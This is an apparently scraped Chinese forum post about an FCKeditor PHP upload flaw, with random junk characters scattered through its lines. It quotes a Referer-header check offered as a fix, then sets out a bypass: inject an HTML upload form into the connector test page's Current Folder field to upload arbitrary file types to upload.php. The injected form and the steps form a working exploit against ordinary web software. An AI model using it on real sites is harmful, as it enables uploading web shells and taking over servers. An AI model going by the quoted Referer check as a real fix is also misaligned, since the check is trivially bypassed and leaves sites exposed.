漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php5 K# e7 K& U: E9 b( T$ V, C$ D) b
网上给出的修复方案是
# o& _1 ^* C5 V+ S% W修复方法,删除FCK编辑器用其他的编辑器
2 u; G( m! a$ L+ p" a, o或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件+ K# A4 Y' ]+ P2 E+ X4 [
在) Q& m* J& \7 J
require(‘config.php’);
: `7 {/ D$ ^0 X1 `- H$ @# urequire(‘util.php’);. e% _* Y4 `. W8 u0 z. f
的下面添加以下代码—————————–: A5 y2 W0 ^& |5 }3 e5 M8 Q% \
//防止外部提交
3 K0 t$ _- K3 Z5 Gfunction outsidepost()
3 p& j& s) w% r2 |{6 z" C! n: j, X9 @
$servername=$_SERVER['SERVER_NAME'];
5 Y( D9 `0 F% o$sub_from=@$_SERVER['HTTP_REFERER'];
) G. N& D" V$ F! ~$sub_len=strlen($servername);! l- K( D0 P. I+ Y; Y" q- R2 @7 t
$checkfrom=substr($sub_from,7,$sub_len);
F4 s) _9 h4 Z `9 Fif($checkfrom!=$servername){! o& r. D) d" S% @+ m( ~
echo(“you don’t outsidepost!”);
7 _/ Z! m Z) texit;
. ~$ }6 Y8 H- P7 W; f}
( Z! I0 U! X5 A2 X9 I' ^% U}2 m/ L5 J0 `6 f/ P. V" N
outsidepost();- g, u9 P0 i; A8 t& R) |1 R$ s
防止外部提交,但是没有防止内部提交,( u$ M1 z, y$ K1 f# ?
利用方法:' ~5 z$ X7 O1 h
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
; d# U. {7 \5 V2,在Current Folder 框输入8 R3 P+ |3 n! B
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>: ]3 }6 o+ i3 R
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。: v+ J4 F7 F% B/ J2 G$ e
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |